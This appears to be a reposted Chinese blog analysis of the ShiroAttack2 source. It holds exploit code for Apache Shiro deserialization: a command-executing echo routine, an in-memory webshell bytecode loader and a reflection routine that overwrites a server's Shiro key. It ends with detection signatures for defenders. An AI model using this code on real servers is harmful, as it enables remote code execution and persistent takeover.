<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    ShiroAttack2工具原理分析

    VSole2021-12-30 21:58:56

    前言

    最近想要針對Shiro的利用工具擴展利用鏈,但自己完全寫一個工具即麻煩也沒有必要,因此想要通過SummerSec師傅開源的工具ShiroAttack2擴展來實現,既然要擴展首先就得了解項目的源碼實現。本片文章中我不會通篇的對這個項目代碼進行分析,只抽出幾個我認為的要點進行分析。

    源碼分析

    密鑰驗證

    在這款工具中,密鑰驗證主要是分為兩種情況,一種是用戶指定密鑰,一種是未指定密鑰時爆破密鑰。無論是使用哪種方式來驗證key都需要調用checkIsShiro方法判斷是否為shiro。

    //指定key
    @FXML
        void crackSpcKeyBtn(ActionEvent event) {
            this.initAttack();
            if (this.attackService.checkIsShiro()) {
                String spcShiroKey = this.shiroKey.getText();
                if (!spcShiroKey.equals("")) {
                    this.attackService.simpleKeyCrack(spcShiroKey);
                } else {
                    this.logTextArea.appendText(Utils.log("請輸入指定密鑰"));
                }
            }
        }
    //爆破key
        @FXML
        void crackKeyBtn(ActionEvent event) {
            this.initAttack();
            if (this.attackService.checkIsShiro()) {
                this.attackService.keysCrack();
            }
        }
    

    checkIsShiro首先指定remeberMe=1通過返回結果是否包含deleteMe來判斷是否為shiro框架。如果返回結果沒有deleteMe則生成一個10位的隨機數作為remeberMe的內容再去請求。這里之所以要生成一個位隨機數我推測可能是防止WAF將remeberMe=1當作特征攔了。但是我這里還是想到了一種攔截思路,如果檢測到rememberMe=1

    WAF直接阻斷請求,那result的返回內容就會是null,在result.contains("=deleteMe")中就會觸發異常,導致直接進入catch代碼塊,

    那樣工具就無法檢測是否為Shiro,后面的漏洞利用功能也會失效。

    public boolean checkIsShiro() {
            boolean flag = false;
            try {
                HashMap<String, String> header = new HashMap();
                //指定remeberMe=1
                header.put("Cookie", this.shiroKeyWord + "=1");
                String result = this.headerHttpRequest(header);
                flag = result.contains("=deleteMe");
                if (flag) {
                    this.mainController.logTextArea.appendText(Utils.log("存在shiro框架!"));
                    flag = true;
                } else {
                    HashMap<String, String> header1 = new HashMap();
                    //生成10位隨機數判斷
                    header1.put("Cookie", this.shiroKeyWord + "=" + AttackService.getRandomString(10));
                    String result1 = this.headerHttpRequest(header1);
                    flag = result1.contains("=deleteMe");
                    if(flag){
                        this.mainController.logTextArea.appendText(Utils.log("存在shiro框架!"));
                        flag = true;
                    }else {
                        this.mainController.logTextArea.appendText(Utils.log("未發現shiro框架!"));
                    }
                }
            } catch (Exception var4) {
                if (var4.getMessage() != null) {
                    this.mainController.logTextArea.appendText(Utils.log(var4.getMessage()));
                }
            }
            return flag;
        }
    

    利用鏈爆破

    無論使用什么利用鏈都需要和回顯的方式配合,所以這里首先是拿出了利用鏈和回顯方式并進行組合。組合后通過:分割,通過gadgetCrack檢測這種利用鏈和回顯方式是否存在。目前這款工具主要的利用鏈是CC利用鏈和Beanutils利用鏈。回顯方式主要是TomcatSpring回顯,作者后來版本也加了通用回顯,這些回顯方式之后我會分析。

    void crackGadgetBtn(ActionEvent event) {
            String spcShiroKey = this.shiroKey.getText();
            if (this.attackService == null) {
                this.initAttack();
            }
            boolean flag = false;
            if (!spcShiroKey.equals("")) {
                //獲取利用鏈和回顯方式并進行組合
                List<String> targets = this.attackService.generateGadgetEcho(this.gadgetOpt.getItems(), this.echoOpt.getItems());
                for(int i = 0; i < targets.size(); ++i) {
                    String[] t = ((String)targets.get(i)).split(":");
                    String gadget = t[0];
                    String echo = t[1];
                    //檢測利用鏈和回顯方式是否存在
                    flag = this.attackService.gadgetCrack(gadget, echo, spcShiroKey);
                    if (flag) {
                        break;
                    }
                }
            } else {
                this.logTextArea.appendText(Utils.log("請先手工填入key或者爆破Shiro key"));
            }
            if (!flag) {
                this.logTextArea.appendText(Utils.log("未找到構造鏈"));
            }
        }
    

    gadgetCrack生成remeberMe的內容并加上Ctmd請求頭,最后判斷返回中是否包含08fb41620aa4c498a1f2ef09bbc1183c判斷是否利用成功,這里也可以當作這款工具的特征。

    public boolean gadgetCrack(String gadgetOpt, String echoOpt, String spcShiroKey) {
            boolean flag = false;
            try {
                //生成rememberMe
                String rememberMe = this.GadgetPayload(gadgetOpt, echoOpt, spcShiroKey);
                if (rememberMe != null) {
                    HashMap header = new HashMap();
                    header.put("Cookie", rememberMe + ";");
                    //header中加入Ctmd頭
                    header.put("Ctmd", "08fb41620aa4c498a1f2ef09bbc1183c");
                    String result = this.headerHttpRequest(header);
                    //判斷返回值中是否有08fb41620aa4c498a1f2ef09bbc1183c
                    if (result.contains("08fb41620aa4c498a1f2ef09bbc1183c")) {
                        this.mainController.logTextArea.appendText(Utils.log("[*] 發現構造鏈:" + gadgetOpt + "  回顯方式: " + echoOpt));
                        this.mainController.logTextArea.appendText(Utils.log("[*] 請嘗試進行功能區利用。"));
                        this.mainController.gadgetOpt.setValue(gadgetOpt);
                        this.mainController.echoOpt.setValue(echoOpt);
                        gadget = gadgetOpt;
                        attackRememberMe = rememberMe;
                        flag = true;
                    } else {
                        this.mainController.logTextArea.appendText(Utils.log("[x] 測試:" + gadgetOpt + "  回顯方式: " + echoOpt));
                    }
                }
            } catch (Exception var8) {
                this.mainController.logTextArea.appendText(Utils.log(var8.getMessage()));
            }
            return flag;
        }
    

    下面分析remeberMe生成部分,主要包含四個部分。

    • 獲取利用鏈的Class對象并實例化

    • 根據回顯方式創建TemplatesImpl對象

    • 傳入TemplatesImpl通過getObject獲取構建好的惡意對象

    • 構建好惡意對象后AES加密后返回
    public String GadgetPayload(String gadgetOpt, String echoOpt, String spcShiroKey) {
            String rememberMe = null;
            try {
                //獲取利用鏈的Class對象
                Class extends ObjectPayload> gadgetClazz = com.summersec.attack.deser.payloads.ObjectPayload.Utils.getPayloadClass(gadgetOpt);
                ObjectPayload gadgetPayload = (ObjectPayload)gadgetClazz.newInstance();
                //根據回顯方式創建TemplatesImpl對象
                Object template = Gadgets.createTemplatesImpl(echoOpt);
                //創建惡意對象
                Object chainObject = gadgetPayload.getObject(template);
                //生成的惡意對象AES加密后返回
                rememberMe = shiro.sendpayload(chainObject, this.shiroKeyWord, spcShiroKey);
            } catch (Exception var9) {
    //            var9.printStackTrace();
                this.mainController.logTextArea.appendText(Utils.log(var9.getMessage()));
            }
            return rememberMe;
        }
    

    獲取利用鏈的Class對象并實例化

    根據類名獲取對應的Class對象

    public interface ObjectPayload<T> { T getObject(Object paramObject) throws Exception;
        public static class Utils {
            public static Class extends ObjectPayload> getPayloadClass(String className) {
                Class extends ObjectPayload> clazz = null;
                try {
                    //根據類名獲取Class對象
                    clazz = (Class)Class.forName("com.summersec.attack.deser.payloads." + StringUtils.capitalize(className));
                } catch (Exception exception) {}
                return clazz;
            }
        }
    }
    

    根據回顯方式創建TemplatesImpl對象

    通過Javasist生成回顯類并轉換為字節碼賦值給_bytecodes屬性。

    public static <T> T createTemplatesImpl(String payload, Class<T> tplClass, Class abstTranslet) throws Exception {
            T templates = tplClass.newInstance();
            ClassPool pool = ClassPool.getDefault();
            //根據名稱通過forName加載回顯的類
            Class extends EchoPayload> echoClazz = Utils.getPayloadClass(payload);
            EchoPayload echoObj = (EchoPayload)echoClazz.newInstance();
            //通過Javasist動態生成回顯類
            CtClass clazz = echoObj.genPayload(pool);
            CtClass superClass = pool.get(abstTranslet.getName());
            clazz.setSuperclass(superClass);
            byte[] classBytes = clazz.toBytecode();
            //將生成的回顯類字節碼賦值給_bytecodes屬性
            Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
            bcField.setAccessible(true);
            bcField.set(templates, new byte[][]{classBytes});
            Field nameField = TemplatesImpl.class.getDeclaredField("_name");
            nameField.setAccessible(true);
            nameField.set(templates, "a");
            return templates;
        }
    

    通過getObject獲取惡意對象

    通過getObject方法獲取惡意對象,在這個工具里使用的利用鏈主要為CC鏈和Beanutils鏈。

    AES加密構建好的惡意對象

    由于Shiro在高版本中更換了GCM加密方式,因此根據版本的不同選擇不同的加密算法。

    public String sendpayload(Object chainObject, String shiroKeyWord, String key) throws Exception {
            byte[] serpayload = SerializableUtils.toByteArray(chainObject);
            byte[] bkey = DatatypeConverter.parseBase64Binary(key);
            byte[] encryptpayload = null;
            //根據版本不同使用不同的加密算法
            if (AttackService.aesGcmCipherType == 1) {
                GcmEncrypt gcmEncrypt = new GcmEncrypt();
                String byteSource = gcmEncrypt.encrypt(key,serpayload);
                System.out.println(shiroKeyWord + "=" + byteSource);
                return shiroKeyWord + "=" + byteSource;
            } else {
                encryptpayload = AesUtil.encrypt(serpayload, bkey);
            }
            return shiroKeyWord + "=" + DatatypeConverter.printBase64Binary(encryptpayload);
        }
    

    關于利用鏈這里我想多提一些內容,因為本來分析這款工具的原理就是為了擴展利用鏈。通過上面的分析可以看到作者做了一個抽象,getObject傳入的對象是構建好的TemplateImpl對象,所以這也是作者實現的利用鏈不多的原因,因為不是所有的利用鏈封裝的都是TemplateImpl對象,而且也有很多利用方式無法回顯利用。

    回顯方式分析

    Tomcat

    Tomcat的回顯主要的思路都是獲取Response對象,并向Response中寫入執行結果來實現,下面我對多種Tomcat回顯的方式做一個簡要總結。

    • ApplicationFilterChain#lastServicedResponse中記錄了response的內容,所以可以通過獲取lastServicedResponse來獲取Response對象并進行寫入。使用這種方式需要請求兩次,因為在默認情況下lastServicedResponse中并不會記錄response,所以第一次請求需要修改一個屬性值讓lastServicedResponse記錄response。但是這種方式不能用在Shiro反序列化中回顯,因為Shiro的反序列化發生在lastServicedResponse緩存Response之前,所以我們無法在反序列化的過程中拿到緩存中的Response對象。

    • AbstractProcessor#response中存儲了Response對象,可以通過獲取這個屬性值獲取response對象。這種方式是通過Thread.currentThread.getContextClassLoader()獲取webappClassLoader,再獲取到Context最后一層層反射獲取Response對象。這種方式的主要問題是代碼量過多,在Shiro的利用中可能由于請求頭過大導致利用失敗。雖然可以通過在RemeberMe中只實現一個ClassLoader加載Body中的Class這種方式繞過。但是這樣設計可能會導致和其他回顯的利用方式有些差別,導致代碼無法復用,所以我猜測這也是作者沒有使用這種方式回顯的原因。

    • 首先通過Thread.currentThread().getThreadGroup()獲取線程數組,從線程數組中找到包含http但不包含exec的線程。從保存的NioEndPoint中拿到ConnectionHandler,再從Handler中拿到RequestInfo對象,最后從RequestInfo中拿到Response。

    最后一種方式是這款工具使用的方式,雖然這種獲取方式比較簡潔,但是好像沒有師傅給出為什么要這么獲取的原因,下面我嘗試對這種利用方式做出解釋。

    首先我們要知道,這種方式實際上是從ClientPoller線程中取出的NioEndPoint對象,并拿到RequestInfo對象。

    為什么從**ClientPoller** 中可以拿到**NioEndPoint** 對象?

    ClientPoller對象是在NioEndPoint#startInternal時創建的,在創建ClientPoller線程時傳入了poller對象作為target屬性,因此可以從ClientPoller->target中拿到poller對象,而Poller又是NioEndpoint的內部類,所以其this$0持有外部類NioEndPoint的引用。因此從ClientPoller線程中獲取到NioEndPoint對象。

    @Override
        public void startInternal() throws Exception {
    ...
                initializeConnectionLatch();
                // Start poller thread
                poller = new Poller();
                Thread pollerThread = new Thread(poller, getName() + "-ClientPoller");
                pollerThread.setPriority(threadPriority);
                pollerThread.setDaemon(true);
                pollerThread.start();
                startAcceptorThread();
            }
        }
    

    另外Acceptor中也持有NioEndpoint對象,因此也可以獲取到RequestInfo對象。

    為什么要通過for循環進行遍歷Thread?

    雖然上面我們看到ClientPoller線程只有一個,但是作者在實現工具的時候卻使用了for循環遍歷,這是為什么?

    Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
            for (int var6 = 0; var6 < var5.length; ++var6) {
                Thread var7 = var5[var6];
                if (var7 != null) {
                    String var3 = var7.getName();
                    if (!var3.contains("exec") && var3.contains("http")) {
                        Object var1 = getFV(var7, "target");
                ...
    

    我當前的環境是springboot中內置的tomcat,但是打開自己下載的tomcat發現其實創建的ClientPoller不一定只有一個,查閱資料默認配置下ClientPoller的個數是CPU的核數。

    pollers = new Poller[getPollerThreadCount()];
                for (int i=0; i<pollers.length; i++) {
                    pollers[i] = new Poller();
                    Thread pollerThread = new Thread(pollers[i], getName() + "-ClientPoller-"+i);
                    pollerThread.setPriority(threadPriority);
                    pollerThread.setDaemon(true);
                    pollerThread.start();
                }
    

    所以我認為這個for循環的這么寫應該更合理一些

    Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
            for (int var6 = 0; var6 < var5.length; ++var6) {
                Thread var7 = var5[var6];
                if (var7 != null) {
                    String var3 = var7.getName();
                    if (var3.contains("ClientPoller")) {
                        Object var1 = getFV(var7, "target");
                ...
    

    或者通過Acceptor來獲取,Acceptor主要用來接收連接,默認為一個。

    if (var3.contains("Acceptor")) {
                        Object var1 = getFV(var7, "target");
                        if (var1 instanceof Runnable) {
                            try {
                                var1 = getFV(getFV(getFV(var1, "endpoint"), "handler"), "global");
    

    Spring

    通過RequestContextHolder的靜態方法獲取RequestAttributes對象,在通過getResponse獲取Response對象。

    AllEcho

    這種方式基本思路是遍歷當前線程保存的所有非靜態屬性,直到找到RequestResponse對象。默認遍歷的深度是50層。

    private static void Find(Object start,int depth){
            if(depth > max_depth||(req!=null&&resp!=null)){
                return;
            }
        //開始時start傳入的是Thread.currentThread()對象
            Class n=start.getClass();
            do{
               //獲取當前對象中保存的屬性
                for (Field declaredField : n.getDeclaredFields()) {
                    declaredField.setAccessible(true);
                    Object obj = null;
                    try{
                        //判斷屬性是否為static,是則跳過
                        if(Modifier.isStatic(declaredField.getModifiers())){
                            //靜態字段
                            //obj = declaredField.get(null);
                        }else{
                            obj = declaredField.get(start);
                        }
                        if(obj != null){
                            //不是數組直接調用proc方法檢查obj中是否為request或response對象
                            if(!obj.getClass().isArray()){
                                proc(obj,depth);
                            }else{
                             //是數組則判斷持有的對象是否為基本類型,不是基本類型才會遍歷數組并判斷是否為request或response對象
                                if(!obj.getClass().getComponentType().isPrimitive()) {
                                    for (Object o : (Object[]) obj) {
                                        proc(o, depth);
                                    }
                                }
                            }
                        }
                    }catch (Exception e){
                        e.printStackTrace();
                    }
                }
            }while(
                //獲取父類并遍歷屬性
                    (n = n.getSuperclass())!=null
            );
        }
    

    判斷當前對象是否持有request和response類型,如果是則執行命令并寫入Response。

    private static void proc(Object obj,int depth){
         //如果遍歷層數已經是最大層數則返回
            if(depth > max_depth||(req!=null&&resp!=null)){
                return;
            }
         // 如果該類型是java.lang包下的并且已經處理過了則跳過
            if(!isSkiped(obj)){
                //判斷obj類型是否為HttpServletRequest.class的子類
                if(req==null&&ReqC.isAssignableFrom(obj.getClass())){
                    req = (HttpServletRequest)obj;
                    if(req.getHeader("cmd")==null)
                        req=null;
                //判斷obj類型是否為HttpServletResponse.class的子類
                }else if(resp==null&&RespC.isAssignableFrom(obj.getClass())){
                    resp = (HttpServletResponse) obj;
                }
                //如果獲取到request和response對象,則執行命令并寫入
                if(req!=null&&resp!=null){
                    try {
                        PrintWriter os = resp.getWriter();
                        Process proc = Runtime.getRuntime().exec(req.getHeader("cmd"));
                        proc.waitFor();
                        Scanner scanner = new Scanner(proc.getInputStream());
                        scanner.useDelimiter("\\A");
                        os.print("Test by fnmsd "+scanner.next());
                        os.flush();
                    }catch (Exception e){
                    }
                    return;
                }
                //繼續遍歷
                Find(obj,depth+1);
            }
        }
    

    內存馬

    由于注入內存馬的代碼量比較大,直接將數據帶到請求頭中會導致請求頭過大而注入失敗,所以這里作者將實際內存馬的內容和注入的代碼分開,post的參數dy中才是真正注入內存馬的代碼。

    public void injectMem(String memShellType, String shellPass, String shellPath) {
        //獲取rememberMe的內容,這里傳入的回顯類是InjectMemTool,也就是InjectMemTool的字節碼將會被放到TemplateImpl->_bytecodes屬性中
            String injectRememberMe = this.GadgetPayload(gadget, "InjectMemTool", realShiroKey);
            if (injectRememberMe != null) {
                   //請求頭中傳入shell密碼和路徑。
                HashMap<String, String> header = new HashMap();
                header.put("Cookie", injectRememberMe);
                header.put("p", shellPass);
                header.put("path", shellPath);
                try {
                    //根據內存馬的類型得到對應的字節碼,base64后傳給dyv參數。
                    String b64Bytecode = MemBytes.getBytes(memShellType);
                    String postString = "dy=" + b64Bytecode;
                    String result = this.bodyHttpRequest(header, postString);
                    //返回Success則代表注入成功
                    if (result.contains("->|Success|<-")) {
                        String httpAddress = Utils.UrlToDomain(this.url);
                        this.mainController.InjOutputArea.appendText(Utils.log(memShellType + "  注入成功!"));
                        this.mainController.InjOutputArea.appendText(Utils.log("路徑:" + httpAddress + shellPath));
                        if (!memShellType.equals("reGeorg[Servlet]")) {
                            this.mainController.InjOutputArea.appendText(Utils.log("密碼:" + shellPass));
                        }
                    } else {
                        if (result.contains("->|") && result.contains("|<-")) {
                            this.mainController.InjOutputArea.appendText(Utils.log(result));
                        }
                        this.mainController.InjOutputArea.appendText(Utils.log("注入失敗,請更換注入類型或者更換新路徑"));
                    }
                } catch (Exception var10) {
                    this.mainController.InjOutputArea.appendText(Utils.log(var10.getMessage()));
                }
                this.mainController.InjOutputArea.appendText(Utils.log("-------------------------------------------------"));
            }
        }
    

    下面我們看下InjectMemTool的內容,下面是InjectMemTool構造方法的內容,前面內容和Tomcat回顯的內容相同,從線程數組中獲取request和response對象,我沒有在代碼中給出來。

    o = getFV(p, \"req\");
        resp = o.getClass().getMethod(\"getResponse\", new Class[0]).invoke(o, new Object[0]);
    
                            Object conreq = o.getClass().getMethod(\"getNote\", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)});
            //獲取dy參數保存的內容
                            dy = (String) conreq.getClass().getMethod(\"getParameter\", new Class[]{String.class}).invoke(conreq, new Object[]{new String(\"dy\")});
                            if (dy != null && !dy.isEmpty()) {
                                //base64解碼
                                byte[] bytecodes = org.apache.shiro.codec.Base64.decode(dy);
                                //獲取defineClass方法
                                java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});
                                defineClassMethod.setAccessible(true);
                    //調用defineClass加載dy中保存的字節碼
                                Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
                    //實例化對象并調用equals方法
                                cc.newInstance().equals(conreq);
                                done = true;
                            }
    

    修改shiro key

    SummerSec師傅實現了修改shiro

    key的功能了,有了這個功能滲透就真的是比手速了,或許以后滲透還需到了解如何動態修補各種漏洞,哈哈,開個玩笑。

    修改Shiro

    key的思路是找到ShiroFilterFactoryBean對象,從這個對象中可以拿到remeberMeMamanger,這個對象中可以獲取加密和解密的密鑰。

    filterConfigs中保存了ShiroFilterFactoryBean實例,因此可以從中獲取key。

    SummerSec師傅的實現代碼如下,前面獲取filterConfigs的代碼就不分析了,和注冊Filter內存馬的時候一致。

    org.apache.tomcat.util.threads.TaskThread thread = (org.apache.tomcat.util.threads.TaskThread) Thread.currentThread();
            java.lang.reflect.Field field = thread.getClass().getSuperclass().getDeclaredField("contextClassLoader");
            field.setAccessible(true);
            Object obj = field.get(thread);
            field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("resources");
            field.setAccessible(true);
            obj = field.get(obj);
            field = obj.getClass().getDeclaredField("context");
            field.setAccessible(true);
            obj = field.get(obj);
            //獲取filterConfigs屬性
            field = obj.getClass().getSuperclass().getDeclaredField("filterConfigs");
            field.setAccessible(true);
            obj = field.get(obj);
            java.util.HashMap<String, Object> objMap = (java.util.HashMap<String, Object>) obj;
            //遍歷filterConfigs
            java.util.Iterator<Map.Entry<String, Object>> entries = objMap.entrySet().iterator();
            while (entries.hasNext()) {
                Map.Entry<String, Object> entry = entries.next();
                //檢測key是否為shiroFilterFactoryBean
                if (entry.getKey().equals("shiroFilterFactoryBean")) {
                    obj = entry.getValue();
                    field = obj.getClass().getDeclaredField("filter");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    //通過反射調用setEncryptionCipherKey修改加密key
                    java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
                    byte[] bytes = this.base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==");
                    setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
                       //通過反射調用setDecryptionCipherKey修改解密key
                    java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
                    setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
                }
            }
    

    但是這種方式有一個問題,如果我設置ShiroFilterFactoryBean時設置了name屬性,那么遍歷filterConfigs是,保存ShiroFilterFactoryBean的Filter的名稱就會是shiroFilter,所以會修改失敗。

    @Bean(
                name = {"shiroFilter"}
        )
        ShiroFilterFactoryBean shiroFilterFactoryBean(SecurityManager securityManager) {
            ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
            bean.setSecurityManager(securityManager);
            bean.setLoginUrl("/login");
            bean.setUnauthorizedUrl("/unauth");
            Map<String, String> map = new LinkedHashMap();
            map.put("/doLogin", "anon");
            map.put("/index/**", "authc");
            bean.setFilterChainDefinitionMap(map);
            return bean;
        }
    

    但是無論有沒有配置name屬性,filter屬性中保存的filter的類名一定是ShiroFilterFactoryBean,所以我們可以先獲取filter屬性,然后查看類名是否為ShiroFilterFactoryBean,如果是則通過反射調用修改key。

    while (entries.hasNext()) {
                Map.Entry<String, Object> entry = entries.next();
                obj = entry.getValue();
                //先獲取filter屬性
                field = obj.getClass().getDeclaredField("filter");
                field.setAccessible(true);
                obj = field.get(obj);
                //判斷保存的類型是否為ShiroFilterFactoryBean
                if (obj.getClass().toString().contains("ShiroFilterFactoryBean")) {
                    field = obj.getClass().getSuperclass().getDeclaredField("securityManager");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    field = obj.getClass().getSuperclass().getDeclaredField("rememberMeManager");
                    field.setAccessible(true);
                    obj = field.get(obj);
                    java.lang.reflect.Method setEncryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setEncryptionCipherKey", new Class[]{byte[].class});
                    byte[] bytes = this.base64Decode("FcoRsBKe9XB3zOHbxTG0Lw==");
                    setEncryptionCipherKey.invoke(obj, new Object[]{bytes});
                    java.lang.reflect.Method setDecryptionCipherKey = obj.getClass().getSuperclass().getDeclaredMethod("setDecryptionCipherKey", new Class[]{byte[].class});
                    setDecryptionCipherKey.invoke(obj, new Object[]{bytes});
                }
            }
    

    總結

    通過學習師傅寫的工具,對很多技術的實現細節有了一些了解,確實也學到了很多。最后總結部分我想簡單聊一下這個工具的利用特征。

    • ·在驗證key或者爆破key前,會發送RemeberMe=1,如果檢測到Cookie中包含RemeberMe=1直接將請求斷開,會導致這個工具無法檢測密鑰,后續的功能也將無法用。

    • 利用鏈爆破部分會發送Ctmd:08fb41620aa4c498a1f2ef09bbc1183c作為是否可以回顯的標志,這一部分是硬編碼的,所以如果檢測到包含Ctmd:08fb41620aa4c498a1f2ef09bbc1183c,也是有人正在利用該工具檢測shiro

    • 內存馬注入時,會在請求中加上ppath參數,并且會在post請求中加上dy參數。

    參考

    • ShiroAttack2

    • Java內存馬:一種Tomcat全版本獲取StandardContext的新方法

    • Java中間件通用回顯方法的問題及處理(7.7更新)
    shirostring
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    魔改版內網掃描工具
    2023-05-11 14:38:25
    XScan使用文檔前言這是一個縫合怪● go-crack ● fscan?快速上手默認掃描?./xscan -hf ip.txt -finger -vulnscan -xscan 360 -t 100. ./xscan -h 192.168.123.22/24,192.168.123.1-255,192.168.122.1-192.168.123.254 -finger -vulnscan -xscan 360 -t 100 -userfile user.txt -passfile pass.txt. Spy模塊進入大內網以后,支持探測指定網段存活./xscan -h 192.168.123.22/24,192.168.123.1-255,192.168.122.1-192.168.123.254 -finger -vulnscan -xscan 360 -t 100 -m Spy. HTTP模塊./Xscan-Mac -m http -addr 0.0.0.0:6666默認密碼 qax qax
    shiro權限分析
    2021-10-27 15:21:57
    寫這個的時候昏昏沉沉的可能有些地方沒說清楚,可以看一下參考鏈接那個老哥說的很詳細。看看filter的鑒權路徑咋寫的。進入getRequestUri看看對uri的處理。符進行了優化處理。然后保存在requestUri中,再講requestUri與需要鑒權的路徑做比較。根據運行的執行結果來看,這里是對uri進行了一次url解碼。這里自動將空格去除了。
    本文主要以拋出問題的方式,努力尋找在實際調試過程中遇到問題的真實答案,最后結合前輩們總結的知識點也用實踐檢驗了知識點,特此記錄。
    最近想要針對Shiro的利用工具擴展利用鏈,但自己完全寫一個工具即麻煩也沒有必要,因此想要通過SummerSec師傅開源的工具ShiroAttack2擴展來實現,既然要擴展首先就得了解項目的源碼實現。本片文章中我不會通篇的對這個項目代碼進行分析,只抽出幾個我認為的要點進行分析。
    漏洞信息ShenYu是一款高性能,響應式的網關,同時也是應用于所有微服務場景的,可擴展、高性能、響應式的 API 網關解決方案。
    之前逛GitHub的時候看到一個老同事寫的一個插件,于是就多喵了兩眼,然后發現其實這個插件還是很實用的,于是就安裝使用了。
    敏感信息泄露對于學校站點的信息搜集,一般來說外網能拿直接權限的點已經很少了,web應用大多是放在vpn后面,因此能弄到一個vpn賬號可以說是事半功倍,這時候可以通過語法對此類信息進行挖掘常用命令如下:#google語法。弱口令默認口令對于部分站點,在搭建完成后可能沒有更改默認賬號密碼,這時候可以嘗試使用默認賬密登錄下面列舉一些常見的web站點默認口令賬號:。對于一些應用廣泛的系統,可以通過google語法搜索其默認密碼這里通過sysadmin/1?
    收集內存馬打入方式
    2023-05-29 09:42:33
    收集內存馬打入方式
    敏感信息泄露對于學校站點的信息搜集,一般來說外網能拿直接權限的點已經很少了,web應用大多是放在vpn后面,因此能弄到一個vpn賬號可以說是事半功倍,這時候可以通過語法對此類信息進行挖掘常用命令如下:#google語法。弱口令默認口令對于部分站點,在搭建完成后可能沒有更改默認賬號密碼,這時候可以嘗試使用默認賬密登錄下面列舉一些常見的web站點默認口令賬號:。對于一些應用廣泛的系統,可以通過google語法搜索其默認密碼這里通過sysadmin/1?
    About dismapDismap 定位是一個適用于內外網的資產發現和識別工具;其特色功能在于快速識別 Web 指紋信息,定位資產類型。輔助紅隊快速定位目標資產信息,輔助藍隊發現疑似脆弱點。Dismap 擁有完善的指紋規則庫,可輕松自定義新識別規則。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类